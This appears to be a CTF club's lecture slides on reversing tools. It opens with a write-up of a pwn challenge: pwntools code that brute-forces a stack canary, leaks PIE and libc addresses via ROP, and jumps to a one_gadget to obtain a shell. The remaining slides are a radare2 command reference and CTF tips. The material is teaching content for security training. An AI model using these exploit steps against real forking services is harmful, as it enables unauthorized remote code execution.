Lesson 4: Reversing tools

An in-depth look into radare2

Luca Di Bartolomeo - cyanpencil

flagbot (CTF@VIS)

March 24, 2025

Table of Contents

Previous Challenge

Challenge

protections

On the surface this challenge should be very easy to exploit, however, there are some protections...

Hints: No hints this time! Please do not run to many concurrent attempts, otherwise the server will be overloaded!

Files: protections.zip

Server: google.jadoulr.tk 42002

Author: Robin Jadoul

Initial Recon

Initial Recon

- Running `checksec` reveals all the protections:
  - FULL RELRO, Canary, NX enabled and PIE
- Buffer overflow found very quickly, %`rip` is at `0x58`
- However, canary is located at `0x48`
- Binary does socket handling by itself! It uses `fork`

Leaking the Canary

- To achieve anything with our buffer overflow, we have to leak the canary

Leaking the Canary

- To achieve anything with our buffer overflow, we have to leak the canary
- I applied the technique shown last time, trying all values for the first byte, then the second, etc:

```python
# tries to overflow `byte` number of bytes of the canary with `canary`
def try_canary(canary, byte):
        local_io = start()
        # overflow into canary
        payload = fit({
                canary_offset: p64(canary)[:byte]
        })
        local_io.send(payload)
        ret = local_io.recvall()
        return b"stack smashing" not in ret
```

Leaking the Canary

- Now just execute `try_canary` in a loop:

```python
# leak canary starting with value `starting` and byte `start_byte`
def leak_canary(starting = 0x0, start_byte = 2):
        current_canary = starting
        # leak byte by byte
        for i in range(start_byte, 9):
                log.progress(f"Trying to leak canary byte {i}")
                # try every value for current byte
                for b in range(0, 256):
                        next_canary = b * pow(256, i-1) + current_canary
                        if try_canary(next_canary, i):
                                current_canary = next_canary
                                break
        return current_canary
```

Leaking the PIE base

- Since we have NX, we need to either leak libc or PIE to be able to do something useful
- No easy way to leak libc for now, so leak PIE first

Leaking the PIE base

- Since we have NX, we need to either leak libc or PIE to be able to do something useful
- No easy way to leak libc for now, so leak PIE first
- Idea: try overwriting %`rip` byte by byte.
- We can check success by trying to overwrite with address of `welcome` function:

```python
def try_pie_base(base, byte):
    local_io = start()
    rop = p64(base + exe.symbols.welcome)[:byte]
    ret = run_rop(local_io, rop) # helper that overwrites canary
                                 # correctly and rip with contents of rop
        return b"server." in ret
```

Leaking the libc

- Now we only need to know where `system` is located in memory
- For this, though, we also need to know which libc we are dealing with

Leaking the libc

- Now we only need to know where `system` is located in memory
- For this, though, we also need to know which libc we are dealing with
- Use ROP to call `puts(symbol@got)` for a few symbols
- Then use libc database to determine version:

```python
def leak_got_symbol(name):
        local_io = start()
        rop = ROP(exe)
        rop.puts(exe.got[name])
        rop.exit()
        ret = run_rop(local_io, rop.chain())
        last = ret.split(b"\n")[-2]
        return u64(last.ljust(8, b"\0"))
```

Getting a Shell

Getting a Shell

- After knowing libc version, download that libc and get libc base
- Run `one_gadget` over it to find suitable one
- Then simply jump to one_gadget address directly:

```python
exit_offset = 0x0473c0 # location of exit in libc
libc_base = leak_got_symbol("exit") - exit_offset
log.info("Leaked libc base: 0x%x", libc_base)
one_gadget_addr = libc_base + 0x106ef8

final_rop = ROP(exe)
final_rop.call(one_gadget_addr)
io = start()
run_rop(io, final_rop.chain())
io.interactive()
```

Radare2 introduction

RAw DAta REcovery

- Originally developed as a hex editor, features were added until it grew into an interactive disassembler, debugger, forensics tool, etc
- It's the perfect tool for low-level byte editing / viewing / diffing.
- It is *not* a substitute for Ghidra or IDA or gdb; instead, you should use it *along* those tools. More details later.

Installation

- radare2 is actively developed and very frequently updated
- distros have **very** old versions in their packages (looking at you, ubuntu)
- there is no "stable" version; the recommended version is the git one!
- do ***not*** install from your distro's repositories

Installation

- do NOT install from your distro's repositories
- `git clone https://github.com/radareorg/radare2`
- `cd radare2; sys/install.sh`
- it's written in C, it will compile quickly.

- if you want to install as non-root, use `sys/user.sh`

Installation

- do NOT install from your distro's repositories
- `git clone https://github.com/radareorg/radare2`
- `cd radare2; sys/install.sh`
- it's written in C, it will compile quickly.

- if you want to install as non-root, use `sys/user.sh`

Warning

The latest version right now is **4.3.1**
Run `r2 -v` *to see what is your version. Do not complain about any bugs you might encounter if you are running an older version.*

r2 GUI

- Cutter is an (experimental) GUI for radare2.
- It is particularly useful for beginners.

r2 GUI

- Cutter is an (experimental) GUI for radare2.
- It is particularly useful for beginners.

- However, I must also add that it is the *fourth* attempt at developing a GUI for r2.
- Not sure how long it's gonna last.

r2 documentation

- Append a ? character to any command for a short help text
- radare2book: https://radare.gitbooks.io/radare2book/
- source code: https://github.com/radareorg/radare2 (sorry)

r2 commands – analysis

```
aa        # analyze all functions
aaa       # analyze all functions, and autorename
aaaa      # analyze all functions, autorename, stack variables, xrefs
aaaaa     # even more, experimental autoanalysis
af        # declare function at current address
afl       # list functions
ax        # list all references
axt       # list cross-references to current address
axj       # list all references in json format
axff      # list all references from current function
agf       # print ascii-art graph of current function
agc       # print ascii-art graph of function call graph
```

r2 commands – printing

```
pd 10     # print disassembly of the next 10 instructions
pdf       # print disassembly of current function
px        # print hexdump
pxr       # print with refs (telescoping)
ph md5 8  # print md5 hash of the next 8 bytes
```

r2 commands – debugging

```
db          # add breakpoint
dbt         # show backtrace
dc          # continue
ds          # step
dso         # step over
dr          # show registers
drr         # show registers with refs
dm          # show memory maps
dmh         # show chunks in heap
```

r2 commands – visual

Press `V` to enter visual mode. While there,

```
p          # cycle between available visual modes
c          # show cursor
i          # insert bytes
s          # step instruction
S          # step over instruction
.          # return to instruction pointer
g          # jump to address or symbol
;          # add comment
B          # toggle breakpoint
```

r2 commands – visual modes

There are many different interactive modes in r2. Those are the most used:

```
Vp        # visual disassembly (standard r2 view)
VV        # ascii function graph mode
v         # visual panels mode (coolest one)
Vv        # function explorer mode
```

r2 commands – config

You can use the command `e <config> = <value>` to change settings inside r2. Those are some of the most useful:

```
asm.bits         # either 32 or 64
asm.arch         # set the architecture
scr.color        # 2 for full color, 1 for support mode, 0 for b/w
scr.highlight    # highlight given text from now on
scr.utf8         # enable fancy utf8
scr.utf8.curvy   # even fancier utf8
graph.offset     # show offsets in graphs
graph.refs       # show references in graphs
scr.wheel        # enable/disable mouse
scr.prompt.popup # fancy cmdline autocompletion
```

There are *many, many* settings you can choose from. Command `e??` will list all available settings.

r2 commands – cool tips

```
? 10      # convert 10 into various useful formats
% XXX: does a regex follow the tilde?
~         # grep output of previous command
?*~...    # interactive search in help
e??~...   # interactive search in all options
px > out # redirect output of command to file
wtf out   # write bytes to file
px @ 0x1 # execute command at address 0x1
```

- stick startup commands into your `.radare2rc` in your home directory

CTF tactics

- Take your time. Do not let yourself get stressed by the time limit of a CTF.
- Choose the tool that is best fit for the challenge.
- Before writing any exploit/code, make sure that you fully understand what the binary is doing.

Cursed CTF tactics

- ~~Take your time. Do not let yourself get stressed by the time limit of a CTF.~~
  - Try to get the flag in the fastest, cheesiest way possible. A CTF is about getting *first*, not about letting your processor collect dust.
- ~~Choose the tool that is best fit for the challenge.~~
  - Any kind of software that doesn't make your laptop burst into flames is fair game. Symbolic executors, advanced decompilers, experimental deobfuscators you just found on a shady github, whatever. Use every single weapon in your arsenal.
- ~~Before writing any exploit/code, make sure that you fully understand what the binary is doing.~~
  - Are you crazy? If you have a slight hunch about what the hell is happening, roll with it and try, usually you'll be right and finish in one tenth of the time of the guy who is reversing the whole binary. Remember, audentes fortuna iuvat.

The strategy

LEFT
EXIT 12
CAREFULLY UNDERSTAND BINARY LOGIC
JUST RUN ANGR ON IT
EVERYONE WHO OPENS A REVERSE CHALLENGE
imgflip.com

Frequently Asked Questions

Q: Why is it called radare2? Where is radare1?

- I don't know. I don't think anyone does.

Q: I found out that I have installed a very recent verion, <*insert any number here*>. Is it okay if I use it?

- No. Use the git one.

Q: I will never remember all those cryptic commands and options. I don't think radare2 is for me.

- This is not a question.

Q: Honestly, this FAQ sucks, do you have anything better?

- You can forward all your complaints to `gallile@student.ethz.ch`

Further Readings

More radare2

- ASLR
  - Exploiting Linux and PaX ASLR's weaknesses on 32- and 64-bit systems
- Full RELRO
  - BabyFS Writeup: Abusing file structs
  - Full RELRO Bypass using `__malloc_hook`
  - using libc exit routines

Challenge

Challenge

revvy

Okay, so good luck with this one. Use your head before you jump into reversing.
Hints: No hints, this is not a lame youtube hacking tutorial.
Files: revvy.zip
Author: Robin Jadoul